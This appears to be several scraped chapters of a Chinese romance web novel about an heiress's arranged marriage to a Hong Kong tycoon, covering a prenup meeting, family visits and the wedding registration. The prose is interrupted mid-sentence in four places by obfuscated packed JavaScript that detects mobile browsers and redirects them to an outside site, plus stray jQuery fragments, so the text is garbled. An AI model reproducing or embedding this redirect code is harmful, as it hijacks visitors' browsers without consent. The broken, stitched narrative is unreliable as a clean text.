接到电话时，江伊嘉正在商场跟吴思婕、茶茶她们逛街，顺口问了一句。 吴思婕说，那家餐厅她就去过一次，风格挺传统挺商务的，一般是她父母和客户谈事才会约在那。 当天下午，江伊嘉拎着大包小包的购物袋，前往约定的餐厅。 包间的装潢很古雅，桌椅都是木质雕花的，墙上挂着书法或者国画作品。 梁家逸比他先到，她进包间时，男人正坐在窗边喝茶，姿态清贵，神色寡淡，手里还拿着一台平板，似乎是在看什么表格。 江伊嘉把购物袋往门口柜子上一放，“没等太久吧，六点…我准时到的。” 闻声，梁家逸放下平板，抬眸。 “不久，我也刚到。” 他视线落在柜子顶那堆有点挤不下的购物袋上，似乎明白了正在他公寓储物间堆着的那些纸箱都是怎么产生的。 梁家逸叫侍应生进来，江伊嘉看着菜单，随意说了几样菜。 包间面积大，但桌子并不大，就是供二到四人吃饭谈事用的。 江伊嘉坐在他对面的椅子上，往桌面上看了眼，轻声问：“协议呢？” 梁家逸原本是打算饭后再谈正事的。 他从旁边的椅子上拿起两份装订好的文件，递过去，“没让律师过来，可以先看看有哪里有问题的，再转达他去修改。” 江伊嘉接过文件，看到他骨节分明的手背，五指修长清瘦，很好看的一双手。 她移开目光，翻开文件。 婚前协议这种东西江伊嘉也是第一次见，都是律师拟的，该有的条款应该都不会缺。 大致就是有关婚前财产认定、婚后财产认定、债务约定、其余行为规范等等。 因为要列明婚前财产，其中三页纸上都是密密麻麻列的梁家逸的个人资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果换成她堂哥去办，估计都得花好一番功夫。 “办事能力一流”六个大字再一次明晃晃浮在对面男人的头顶。 江伊嘉抬头看向他，纳闷几秒，也是存了缓和气氛的心思，半开玩笑地问：“是不是我想要天上的星星，梁总也能有办法弄来？” 梁家逸顿了下，平静地说：“英国一家政府认证的机构有在售卖小行星的永久命名权，价格不贵，但可能意义也不大。” “……” 意料之内的直男回答。 江伊嘉没忍住听笑了。 “那个我知道，他们还在国内的软件上有个官方旗舰店，一颗星星就几十英镑，感觉完全是智商税。” 梁家逸小幅度扯了下唇，轻“嗯”一声。 江伊嘉又看了眼盒子里的戒指，真心诚意地说：“很好看。其实不用这么麻烦的。” 梁家逸认为是分内之事，也坦言说，不麻烦。 这大概是两人第一次能称之为“聊天”的对话，有来有往，气氛不算太僵硬。 上次“会议”中梁家逸还提到领证前需要先提交至登记处的一些证件材料，江伊嘉从包里拿出来交给他。 但这和谐的氛围就截至上菜之前。 这是两人第一次单独吃饭，侍应生敲门把菜品端上来之后，梁家逸全程安静地用餐，一言不发。 “食不言”的传统礼仪被他贯彻得很好。 不知道“寝不语”是不是也能做到。 江伊嘉也不好意思拿出手机看视频，一顿晚饭吃得索然无味。 饭后，梁家逸还有安排，江伊嘉也觉得没有再约下半场的必要。 以后他们大眼对小眼的日子还多。 到餐厅正门，江伊嘉正准备告辞，迎面走来三个跟她年纪相仿的男人，唇边都带着笑。 “阿逸，咁啱嘅，仲可以喺呢度遇到。”（这么凑巧，还能在这里遇到。） 三人在跟梁家逸说话，视线却落在她身上。 “介绍一下。”梁家逸偏了下头，缓声道：“江伊嘉，我未婚妻。” “郑启朗、黄越泽、陈帆，我朋友。” 三个男人同时沉默须臾，交换了个难以置信的眼神。 9.Chapter 9 黄越泽切换成普通话模式，很不可思议的表情：“真未婚妻，大活人啊？” “……” 梁家逸面无表情地睨他一眼。 江伊嘉觉得他朋友说话倒有点意思，长相也挺有亲和力，跟他完全不是一个类型。 她淡笑着说：“如果看见的不是活人，黄先生就该去道观里求个符了。” 黄越泽三人都笑了起来，看向梁家逸。 “阿逸，藏得够深啊，什么时候找的这么漂亮的仙女，不声不响的，都成未婚妻了。” 梁家逸淡淡道：“前几天刚跟你们说过。” 郑启朗这才想起来有这么回事：“哦，对，是18号对吧？” 当时他们俩都以为梁家逸在开玩笑，随口找了个完全不可能发生的事当托辞，其实是不愿意见家里给他介绍过的那个赵毅的妹妹。 他们跟他从小就认识，相熟之后，才知道他这人不是完全不会开玩笑，而是偶尔会猝不及防地来点冷幽默。 只是，顶着那张正经又冷漠的脸，再讲个冷到北极圈的冷笑话，有时他俩听了都得反应一会儿。 梁家逸“嗯”了声。 郑启朗回忆他刚才介绍的名字，想到前段时间万泰和江盛建材签合作的新闻报道，“江伊嘉，江小姐，是深城人吗？” 江伊嘉说是。 三人差不多就明白了，但出于礼貌，也没就他们结婚的原因多问多聊。 黄越泽淡笑着说：“礼金我们先准备着，阿逸，等着你发请柬了啊。” “等有机会介绍我太太跟江小姐认识，到时候一起找个地方度假。” 短暂寒暄几句，三人跟江伊嘉也礼貌告辞，进了餐厅大门。 门口再次只剩他们两人时，江伊嘉也准备走，接过他手里临时帮她拎的那些购物袋，随口道：“你朋友居然还都挺随和，性格也都挺好的。” 梁家逸偏头看她一眼。 四目相对，江伊嘉才反应过来，她刚才好像不自觉内涵了他一波。 她用了“居然”这个词，言外之意就是：你不随和、你性格不好。 梁家逸应该也听出来了，但也没说话，不知道在想什么。 江伊嘉拨了下头发，转回头，清清嗓子，切换回端庄大家闺秀的状态，“那个，没别的事我也先走了，还有朋友在等我。” 梁家逸轻嗯一声，提醒她别忘了下周去他家吃饭，跟他家人见面的事。 * 茶茶最近撺的局有点多，江伊嘉刚走到附近写字楼的工作室，就被她拉去一家新开张的酒吧。 “今晚还有谁啊，明晚开始我闭关，先休养几天。你这夜夜笙歌的也太有活力了，跟着你熬了几天，我都快过回美国时间了。”江伊嘉坐在她的两座跑车副驾驶，打着哈欠说。 茶茶开车速度很快，尤其出了市区，到人少些的路上，开着敞篷一脚油门，江伊嘉头都快被吹掉。 “这才哪到哪啊，你是不是上年纪了？来港岛之前你让我多安排点活动的，还说待在家里跟老头住了三个月都快闷出草了。” 风声太大，两人都得扯着嗓子才能听清彼此说话。 环岛的公路上，风里夹杂着腥咸的海水味。 江伊嘉白她一眼，扬声：“我俩一个年纪好吗。” 茶茶笑着说：“今晚是跟我那个发小他们，纪霖你记得吧，在美国的时候见过好几回，他跟朋友去澳大利亚拍袋鼠去了，昨晚才刚回来。” 江伊嘉：“哦，记得，就你那个从小一起长大的青梅竹马。” 在美国的时候一学期能见两三回，都是纪霖不远万里去加州找她玩。 茶茶嘴角一抽：“青梅竹马个屁吧，跟你说过多少回了，我跟他穿开裆裤的时候就认识了，纯兄弟、纯姐妹。” 江伊嘉今天起了个大早跟着吴思婕去找税务顾问谈事，一整天跑东跑西都没闲过，靠在座椅上闭上眼，懒洋洋道：“都差不多意思。” 新开张的酒吧人倒是不少，入个场外面居然还排长队。 酒吧老板是茶茶朋友的朋友，她们不用跟着排队，到门口就有人殷勤地把她们接进去。 卡座也是开好的，除了宋洵，还有一堆不认识的人，跟他们差不多年纪，男男女女都有。 茶茶在港岛交友甚广，去美国之前，过得就是标准的咸鱼富二代生活，日常除了逛街消费，就跟一群圈子里的年轻人开趴体。 “江伊嘉，我大学最好的朋友之一，另一个最近养生呢，晚上不出门，不过你们之前都见过。” “宋秋茶带出来的朋友都一个比一个漂亮啊。” 一群人跟举着酒杯跟江伊嘉碰杯。 “别叫本名啊。” 宋秋茶名字是老人取的，中间带着“秋”字，她一直觉得听着土气，非必要场合坚决不让人叫她全名。 按她的原话，茶茶这俩字听着像个绿茶，但总比全名好听。 茶茶挑眉，胳膊往江伊嘉肩膀上一搭：“那能不漂亮吗，我跟伊嘉是飞机上认识的，我就是被美貌吸引才找她搭讪的。” 介绍了卡座上的一圈人之后，众人开始聊天，聊着聊着，就自动切换成叽叽呱呱的粤语模式。 茶茶及时举了下手道：“照顾下我姐妹，伊嘉听不懂，今晚咱们国语场哈。” “好嘞，正好练普通话，久了不讲都退化了。” 江伊嘉虽然在深城出生，但并不会讲粤语。 她爷爷是潮汕人，退伍后做生意才去的深城，江济康倒是潮汕话和白话都会讲。 江伊嘉从小读的学校都是英语、普通话双语教学，小学的时候就搬去京市，后来又出国，不仅不会说那两种方言，连听懂都有点费劲。 聚会中途，她去了趟洗手间。 这间酒吧面积不算大，各个卡座之间的空间也挺挤。 今晚有开业活动，满场，江伊嘉在洗手间门口的走廊边玩手机边排队，周围大都是本地人，说着她听不懂的港式粤语。 唯一说普通话的是离她三步远的几个女人，好像在聊姐妹之间的八卦。 “Liana跟梁家逸那个事怎么样了，上次见面都没听她提。” 酒吧音响声音大，所有人说话也都会更大声。 ‘梁家逸’三个字就这么冷不丁钻进江伊嘉耳中。 她下意识停住刷手机的小手指，竖起耳朵。 不是说没有前女友，没有暧昧对象的吗？ “大概率是成不了呗，我听她说，除了她老爸带她在慈善拍卖会上见过那一回，梁家逸连面都不跟她见。” “你不是港岛人不知道，家里稍微有点钱的，多少人想攀上梁家这棵大树。但他们家男人什么样啊，玩得一个比一个花，除了他那个坐轮椅的大哥，就梁家逸一个规矩人，而且要样貌有样貌，要家世有家世的，现在集团还在他手里。” “我前段时间听人说，深城那个江家的谁好像要跟他联姻？” “传闻而已啦，这两年这种传闻多了去了，都说得跟真的似的。” 江伊嘉：“……” 她的冰块脸未婚夫还是个人尽皆知的香饽饽。 虽然这些八卦茶茶也跟她讲过不少，但从素未谋面的外人口中听到，又是另一种感觉。 - 再跟香饽饽见面，就是去拜访他父母家人的时候。 虽然是塑料联姻，但临行之前，江伊嘉还是挺紧张的。 想象中的画面就是跟梁家逸去她家时差不多，会有一屋子不认识的长辈拉着她说话。 跟长辈聊天她擅长，但在没有家人朋友陪同的情况下，一次性要跟那么多长辈打交道，这还是头一次。 约定的是午饭时间，江伊嘉起了个大早，还让吴思婕陪她去新买了一条看起来就很温婉端庄的裙子，顺便去专门造型工作室做了头发化了妆。 梁家逸提前说过，她不需要特意准备什么。 出于基本的礼仪，江伊嘉还是给他父母、爷爷买了些礼物。 礼多人不怪，她正在商场纠结要不要给他其他亲戚再买点时，梁家逸的电话打过来，问她需不需要接。 江伊嘉想了想，回答说要。 她原本以为是梁家逸让司机过来接她，到了商场地下车库，转了一大圈没找到他说的停车位置，又给他发消息。 梁家逸的电话再次打过来。 “你现在在哪？” 江伊嘉抬头看墙边的标识，报了个位置。 十分钟之后，没看到司机，倒是意外看到了梁家逸本人。 江伊嘉有稍许惊讶：“你也来了啊。” 有段时日未见，梁家逸还是熟悉的样子，神色寡淡，语气也毫无波澜：“刚通话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317360|167243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候说过来接你一起。” 江伊嘉下巴往手里的购物袋方向点了点，正好问：“感觉这些不太够吧…毕竟第一次见。” 她前些天还发消息问过一回，梁家逸还是跟上次一样的回复，让她不用准备。 梁家逸扫了眼，略温和地说：“该带的我都让人准备过了，就在车上。” “……” 他不早说！ 江伊嘉一路跟他去往停车的位置，才发现自己走错区域了，而这漫长的一路，两人还是毫无交流，中间还保持着大约半人的距离。 她突然想到，梁家逸他爷爷梁穆山应该跟她爷爷有联系。 她离开深城之前，跟江济康说的理由是提前来港岛跟梁家逸相处相处，培养感情。 但等会儿见过面，梁穆山就会发现，他们俩依然是不太熟的状态，然后这话就很可能传到江济康耳朵里。 江伊嘉皱着眉琢磨了下，往旁边挪一步，抬手，不太自然地挽上身边男人的胳膊。 事已至此，先做个样子吧。 梁家逸被一只纤细的手挽住胳膊，脚步下意识顿了下，偏头看她一眼。 “……” 江伊嘉瞬间把手收回去。 她虽然没谈过恋爱，但毕竟在国外那么多年，平时学校或者留学生组织活动，诸如酒会、交谊舞会、派对什么的，挽个关系好些的男伴的胳膊还是有过。 都21世纪了，又不是生活在古代，男女还完全授受不亲的。 下一刻，梁家逸微启唇：“可以挽。” 刚才只是太突然，他没反应过来。 江伊嘉得到许可，反而不伸手了，揉了揉眉心，有点心虚地解释：“好像离领证也没几天了，我是想能表现得稍微亲密一点点。” 都这时候了，好像也没什么可隐瞒的，她更详细道：“我跟我爷爷说来港岛是找你的，但其实这大半个月都没见几面，我怕被他知道了…不太好。” 梁家逸语气如常：“那你这大半个月都在干什么。” 一会儿家人问起，他也好回答。 但江伊嘉完全没设想过他帮助她串供的可能性。 结合男人淡淡的语气，就好像梦回小学，在她期中考试考差的时候，老师把她叫去办公室，居高临下地问她：你这大半个学期都在干什么？到底学没学习？ 江伊嘉懵了几秒，小声地说：“就…在生活啊。” “认真而积极地生活。” “……” 梁家逸脚步停在一辆黑色的库里南旁，帮她拉开后排的车门，“上车吧。” - 梁穆山的住处在山顶，离他们所在的商场很远。 一路上，江伊嘉坐在后排，抿唇抱着手机在敲字，手机屏幕还微微往远离梁家逸的方向偏了些。 姐妹三人的小群里，她的消息已经刷屏了。 【这婚到底该不该结，我现在持怀疑态度！】 【我刚才在路上很正常地挽了一下他胳膊，而且只是轻轻那么一挽，他就用那种被冒犯了一样的眼神看我！】 她噼里啪啦戳着屏幕，只恨不能发语音，把后来梁家逸那句“那你这半个多月都在干什么”绘声绘色地学上一遍。 等吐槽得差不多，吴思婕先回了消息。 【知足吧。】 后面跟着是一条长语音。 江伊嘉打算长按转文字。 激动之下一个手抖，把语音放出来了她，这几天手机音量还开得特别大。 “就算没有梁家逸，也会有梁加二梁加三，你…” “……” 江伊嘉迅速按音量键，把声音调到零。 车里很安静，梁家逸正坐在旁边阖着眼，闭目养神。 这句语音就显得格外突兀。 驾驶位上的司机看了眼车内后视镜，大气都不敢出。 江伊嘉把手机熄屏，看向窗外，内心祈祷梁家逸千万别说话，就当没听到好了。 她发誓再也不背后说他坏话了，再说一句她名字倒过来写，这么长时间了，早该知道这人背后说不得的有毒体质。 须臾，江伊嘉正以为他要合自己的心意，全当没听见时，耳边传来一声轻哂，随后是低沉又清淡的嗓音，语速慢悠悠的。 “梁加二、梁加三是谁。” “……” 10.Chapter 10 江伊嘉闭了下眼，自我放弃般转回头，瞄他一眼，小小声道：“如果…我说，他们是我同学，你会信吗？” 好在，他看不到前后文，没法仅凭这句话知道她在跟小姐妹偷偷骂他。 梁家逸轻哂一声，片刻后，“嗯。我也有两个同学。” “啊？” 男人转回头，靠在座椅上，毫无起伏的语气：“名字叫江二嘉，江三嘉。” “…………” 有规章制度可以禁止冰块脸讲冷笑话吗？真的好冷。 车里沉默片刻后，江伊嘉干巴巴地笑了两声，以表配合。 -- 梁家老宅大到像是一座城堡，比她爷爷那栋别墅装修得还要奢华。 真到了见他家长辈的时候，江伊嘉才发现，跟想象中的画风不太一样。 起先也是梁家逸带着她一一介绍，一堆人名，她基本没记住几个。 餐厅的圆桌也很大，江伊嘉也有点近视，但就一百度左右，平时不习惯戴眼镜，戴隐形也觉得不舒服，坐在梁家逸身边吃饭，连对面人的脸都看不大清楚。 饭桌上人特别多，但完全没有热闹的气氛。 长辈们偶尔说几句话，言语里带着试探，感觉人均八百个心眼子。梁家逸似乎和他这些亲戚也没多熟悉，交流也只停留在礼节性的程度，那江伊嘉就更没必要去套近乎。 跟他们同辈的，确实如外界所说，一看就透露着一股不学无术的纨绔子弟气息。 但又跟茶茶那些朋友不一样，不光不学无术，心里好像还打着不知道什么的小算盘，眼神中带着让人不太舒服的审视。 看起来跟梁家逸唯一关系好些的，应该就是他那位堂哥，现任的万泰董事长。 年纪应该也在三十岁左右，坐着轮椅，神情语气比他还冷，还有点深不可测的阴郁。 一顿饭吃下来，江伊嘉对梁家逸的看法都有了些改观。 出生在这样的家庭，他能长成现在这个性格，已经算是很正常、很不容易了。 像他们这种大家族，尤其是家里有矿的大家族，亲情夹杂着各种利益，相互之间的关系都不会太纯粹。 江伊嘉家里也是一样，比如她有两个表姐妹就对她挺有意见，因为总觉得江济康偏心她。再比如她大伯们一直看不惯她堂哥，私下里说他堂哥太年轻管理不好集团。 但跟梁家这氛围一比，她们家亲戚之间的关系简直能称得上是团结又友爱。 至少聚在一起的时候，都是你好我好阖家欢乐的情景。 午饭后，梁家逸被他伯公叫上楼去谈事，江伊嘉也没闲着，被他父母叫去了另一个单独的房间。 梁家逸父母的画风倒是跟他家其他人挺不一样的。 如果说其他人都是一副在纸醉金迷的生活中把脑子烧坏的样子，他父母就好像遗世独立，完全不食人间烟火。 刚才在饭桌上，他父母说过的话全程不超过三句，而且都是礼仪性质的问候，对她表达欢迎的善意。 单独的卧室里，梁母看着她，笑容和蔼：“刚人太多，都没跟伊嘉好好说几句话。” “一直说阿逸这孩子从小就让人省心，现在倒是越活越回去了。前几天我还在英国访学，他一个电话打过来，说婚事都定下了，跟他爷爷也商量过。我紧赶忙赶把那边学校的事交接好，也还是没能提前回来，抱歉啊伊嘉。” 江伊嘉心虚地摸了下鼻子。 “不用那么麻烦的，伯母工作重要，早知道您有事，应该我去英国拜访您的。” 他们结婚日期是她挑的，时间那么赶，都是因为她想尽可能提前离开深城。 看来梁家逸没跟父母提这事。 江伊嘉在心中百分制的评分表里给他默默加了那么0.5分。 梁父也戴着眼镜，镜片还挺厚，看起来很斯文儒雅的样子，温声说：“我昨天也在说他，就算是老人把婚事定好，那也可以先订婚。弄得这么仓促，倒显得我们不够重视。伊嘉，千万别多想。” 江伊嘉忙道：“不会不会，也是我不太懂这些规矩，想着既然都定下了，那早点晚点都差不多。” 跟两位教授说话，她下意识把背挺得都比平时直，说话时语气也特别温逊有礼貌。 梁母站起身，从随身的包里拿出一只礼盒递给她。 “前几天回国前太匆忙，问过阿逸你喜欢什么，但实在没来得及准备。这个你先收着，是阿逸他外公外婆当年留下来的。但珠宝首饰我也不太懂，看不出成色价值什么的，我借花献佛，先把这个当成见面礼。” 江伊嘉低头，看到里面一对翡翠玉镯。 她对翡翠也不算太了解，但眼前这对，上好的帝王绿，通体透亮澄澈，不带一丝杂质。 翡翠的价格上不封顶，前两年在美国的珠宝展上，她看到过一块折合人民币近两亿的方牌。 梁母的这对镯子，放在拍卖会或者展览上，应该比梁家逸给她的那枚鸽子蛋钻戒还要高出好几倍价钱。 “这太贵重了伯母，我不能收。” 江伊嘉赶紧推回去。 梁母笑说：“再过几天就领婚书了，见面礼哪有不收的道理。我平时也不戴首饰，这镯子放我那也是浪费，你安心拿着。” 又推辞了几个来回，江伊嘉道谢收下。 梁家逸父母本身也是话少的人，跟她聊了些大学专业和学校相关的，又让他们结婚之后互相照顾包容云云，也就算是结束。 见过他父母，江伊嘉也大概明白了梁家逸性格里那一点正常是从何而来。 能出淤泥而不染，也许是因为从父母那遗传到的基因，或是从小到大的耳濡目染。 - 从卧室出去，梁家逸正在客厅等她。 已经是傍晚，夕阳西下，同个城市，两人都没有留宿的打算，像来时那样，一一跟众人告了辞 。 别墅外的院子就像个小型的园林，其中有不少穿着制服的佣人打理收拾。 江伊嘉是坐梁家逸的车来的，也准备让他把自己送回去。 通往停车场的石板路上，梁家逸走在她身边，难得贴心地问道：“是不是不太适应。” 上次去她家吃饭，她跟任何亲戚都聊得有来有回的，应对自如。 今天在饭桌上，话却一直很少。 江伊嘉看他一眼。 周围树丛茂密，不知哪里就会有人，男人声音压得比平时低，有点酥酥麻麻的。 “还好吧。”江伊嘉想了想说：“但人太多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15330617|167243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …大部分名字和关系我都没太记住。” 梁家逸清淡道：“没事。也不用特意去记，以后不会常和他们打交道。” 江伊嘉包里沉甸甸的重量提醒了她，“对了，伯母刚给了我一对手镯，应该挺贵的，要不然放你那吧。” 梁家逸静了下，“哪个伯母？” “……” “你妈妈。” 江伊嘉的朋友都没结过婚，也不知道港岛地区把未婚夫的妈妈叫什么。 家里哥哥姐姐结婚的时候，她也没留意过这个问题。 江伊嘉问：“…你们这边一般怎么叫？” 梁家逸平声说：“丈夫的妈妈，一般就直接叫妈妈。” 丈夫？ “我们现在不是还没结婚吗…” 说完，江伊嘉突然想起，有些地方好像是有改口费这个说法，刚送完她见面礼，大概也许也能把他妈叫妈妈了。 梁家逸似乎也没打算在这种细枝末节上过多纠结，“送给你的，你收着就好。应该的。” 江伊嘉摸了摸鼻子，“哦”一声。 梁家今天人齐，快走到院子门口的停车场，放眼望去跟看豪车车展似的。 尤其跟他们同辈的年轻人，平时大概也比较高调，黄的红的跑车停了好几辆，乍一看像到了酒吧街夜店门口似的。 相较而言，梁家逸这辆库里南的颜色和车型就显得比较低调。 但车牌就三位，Y42。 很早之前听茶茶科普过，港岛的车牌可以私人订制，限制比较少，比如能定成“BABY”“VIP”“LOVE”这种烧包且抽象的，她的车牌就是“CHACHA”六个字母，还是花十几万拍卖回来的。 定制车牌是竞价，寓意好的数字和字母组合价高者得，位数少的价格也会更高。 他上次那辆宾利，车牌好像是单字母Y。 江伊嘉正在想他这辆车“Y”后面的数字是什么意思，或许是生日，但她好像不知道他生日是哪天。 真塑料啊。 “你……” 脚下有台阶，她穿着高跟鞋往前迈，正要开口问一下他生日，胳膊被一只温热的手握住。 咦？未婚夫升级进化了，知道主动扶她下台阶了。 江伊嘉想起今天中午在商场地下车库，这人被她挽了一下时的表情。 不是不报，时候未到。 江伊嘉在心里窃笑一声，停住脚步，学他中午的样子，转过头盯他一眼。 但她确实不具备梁家逸那种淡淡看人一眼都很有震慑效果的能力。 …她装出来的惊讶表情可能有点小夸张。 梁家逸看她停在原地不走了，也微偏了下头，跟她对视。 他手倒没有收回去，依然很轻地覆在她胳膊上。 男人手掌宽大，她纤细的小臂在他手中也就盈盈一握。 静默两秒后，梁家逸淡淡出声，简短道：“怕你又摔倒。” 江伊嘉还没抬腿，又听见他平静的声线。 “我今天没系领带。” “？”哪辈子的事了他还记得。 江伊嘉反应了一下才明白他在说什么，嘴角抽了抽，没忍住揶揄道：“梁总记忆力倒是不错。” 11.Chapter 11 梁家逸看向她，浅浅扯了下唇，“过誉了。” 还在他家的院子里，关系也不算太熟，江伊嘉不好直接把胳膊抽回去，勉为其难被他扶着下了台阶。 跟这人说话挺影响心情的。 江伊嘉单方面决定暂时拒绝交流，也不再好奇他这车牌中那两位数字是不是他生日，上车之后，就坐在后排看向窗外。 他的车里跟办公室里的味道有些相似，也是那种凝神静气的檀木香。 梁家逸也没主动再说什么，两人就这么安静了一路。 - 往后几日，江伊嘉也忙了起来。 她们租的工作室原先就是用作办公场所，装修起来不算复杂，地面和墙面都不用做太大的改动。 经过近两个月，装修基本已经完成，下一步就是着手开始招人。 吴思婕和茶茶家里对她们创业的态度都算是支持，除了资金之外，还断断续续介绍了不少客户，加上江伊嘉曾经的积累，解决了工作室成立前期的一大问题。 她们开得虽然是视觉设计工作室，但在完全没有知名度和品牌效应的阶段，业务范围不可能是纯设计，势必要向广告、出版、市场营销等具体领域靠拢。 初期由于人员和项目的限制，也不能像传统广告公司那样对员工做出很细致的工作内容划分。 三人商量过后，让吴思婕负责所有行政和管理相关的事务，茶茶负责营销和客户初步对接，与具体业务相关的，则是江伊嘉来把关。 晚上在装修完成的办公区，吴思婕拿着个检测仪，到处走动着在测工作室里的甲醛含量。 “装修的时候选的都是环保材料，测出来甲醛都没超标，就是卫生间所有隔板和马桶、水池什么的都换过，有一点点高，我再下单点除甲醛的产品，过段时间再测测。” 为期三个多月的后勤工作经验，让江伊嘉也能帮上点忙。 茶茶则是对这些琐碎的工作一窍不通，坐在会客区的沙发上，看她们前几天发在招聘软件上的信息。 “真麻烦啊，财务和行政助理就分别招一个人，收到一堆简历。设计和策划相关的岗位加起来得招十个，收到的应聘消息还没前两个加起来多。” 江伊嘉把长发松松扎在脑后，走到茶茶旁边，低头跟她一起看手机。 “给我看看设计岗投来的简历。” “不是，这个怎么连作品集都没附，不看招聘要求的吗。” “这居然还有个大二在读的，我们发的时候没写要招实习生啊。” “我去，还有个…这是哪里人，Latvia，拉脱维亚人？我们有招外籍劳工的资质吗？” 吴思婕测完甲醛，快步走过来，“今晚把这些筛一遍，先组织一波面试吧。我妈和茶茶朋友介绍的客户有好多都在打电话问了，我大概了解了一下，需求都挺复杂的，伊嘉一个人肯定忙不过来，我们赶紧把人招来，抓紧开张干活。” 茶茶抬起头：“伊嘉忙不过来，我也可以啊，我也是学设计的。” 江伊嘉瞥她一眼，无情道：“客户需求发给你，你能做得出来吗。” 上半年茶茶毕业都费了老鼻子劲，在江伊嘉的帮助下，好几门课还是擦着线通过的，差点学分修不够，就要挂科延毕。 茶茶乖巧地摇头。 “好吧，画稿写方案什么的还是你来。”她拍拍胸脯，自信道：“最近组织招聘面试这种事就交给我吧，我有个朋友他弟弟说他们大学过几天有个线下的招聘会，我看能不能让他帮忙走个后门，让我们也过去摆个摊招人。” …… 接连忙了几天，江伊嘉跟两个朋友一样，愁得满脑门子官司。 网上到处都在说现在就业情势不好，可现在要自立门户当老板了才发现，人力资源市场的行情也不怎么好。 简言之，就是符合需求的应聘者不愿意来她们这，入职意愿特别强烈的，又多少没达到江伊嘉的心理预期标准。 到底是她们工作室新成立，在求职者眼中不是个稳定的工作。 毕竟新公司在两年之内关门倒闭的比比皆是。 做不到稳定，江伊嘉无奈，和吴思婕商量之后，只好提高员工待遇。这样一来，支出又添了一大笔。 最近实在太忙，要处理的事情也杂，除了招人之外，先前找她做奶茶冬季宣传图的张温雅也发来信息让她改稿。 到17号清早，江济康打来电话，江伊嘉才恍惚想起来，明天是她去领婚书的日子。 预约、提交材料之类的流程梁家逸应该都已经处理好，不需要她去操心。 从他家离开之后的几天，梁家逸也没再找过她。 当天中午，江伊嘉把爷爷和堂哥接到酒店，才收到梁家逸的消息。 头一条是登记处具体的时间和地点。 接近着他又简短地说：【明天会有三家媒体在，只是拍照，不会有采访或者提问这些。】 应该是让她有个心理准备。 江伊嘉回复了个“OK”的表情包。 【那明天直接在登记处见吧，我准时到~】 梁家逸：【好的。】 … … 翌日，江伊嘉暂停她手头一揽子同样很要紧的工作，百忙之中抽空去结婚。 港岛的结婚登记较之内地更有仪式感，全程有点像是一场很小型的婚礼。 江伊嘉提前有过了解，加上还会有媒体在场，还是起了个大早，去换礼服做造型。 登记时还需要两位证婚人在场，梁穆山和江济康很顺理成章地揽下了这个差事。 江伊嘉到达登记处时，发现门口早就被拦了起来，闲杂人都被挡在外面，附近还站着不少保镖。 这天港岛天气很晴，万里无云，阳光穿过登记处建筑旁边的树丛，投下斑驳的光影。 梁家逸一身西装，身形笔挺，阳光也落在他脸上，柔和了他原本有些冷俊的面容。 进登记处领婚书的过程，江伊嘉的感觉有点像是她念中学时，去话剧社帮忙客串角色，给她一个与现实不同的身份，再让她念指定的台词。 尤其在宣誓的环节，这种感觉尤为强烈。 登记处内部的装潢风格像个小教堂，墙面都是浅色复古雕花的设计，用于登记的桌后列着一排排圆木长椅，气氛庄严又神圣。 江伊嘉照着牌子上的内容，一字一顿地念：“我请在场各人见证，我…江伊嘉，愿以梁家逸，为我的合法丈夫。” 也许是有那么点进入角色了，她念完这句话，下意识偏头，看了身边男人一眼。 梁家逸神色跟平时差不多，似乎是察觉到她的目光，也看向她。 眼中带了几分不知是真是假的温柔。 江伊嘉顿时还有点不好意思，马上回避他的视线。 登记官是个大约五十多岁的男人，慈眉善目的，态度特别好，和蔼地笑说：“都是夫妻了，别害羞。” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15336487|167243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 江伊嘉原本还没到害羞的程度，或者，她这辈子好像还没有过害羞这种情绪。 但被登记官这么一说，可能是造成心理暗示的缘故，她耳朵还真有点热，拨了下头发。 梁家逸目光落在她微红的耳朵上。 从登记处出来，门口有举着相机的记者。 这种时候，两人莫名默契。 梁家逸抬起手，很有分寸地揽在她肩侧。 江伊嘉也很有“演员”的基本修养，比以往走在一起时离他更近些，唇边挂着恰到好处的笑容。 外人看来，俨然是一对恩爱的新婚夫妻。 江伊嘉今天穿得礼服是无袖的抹胸裙，男人的手掌就覆在她肩膀上，掌心的温度似乎比她体温略高一些，存在感特别强烈。 梁家逸就这样一路揽着她上了车，还绅士地亲自帮她开车门。 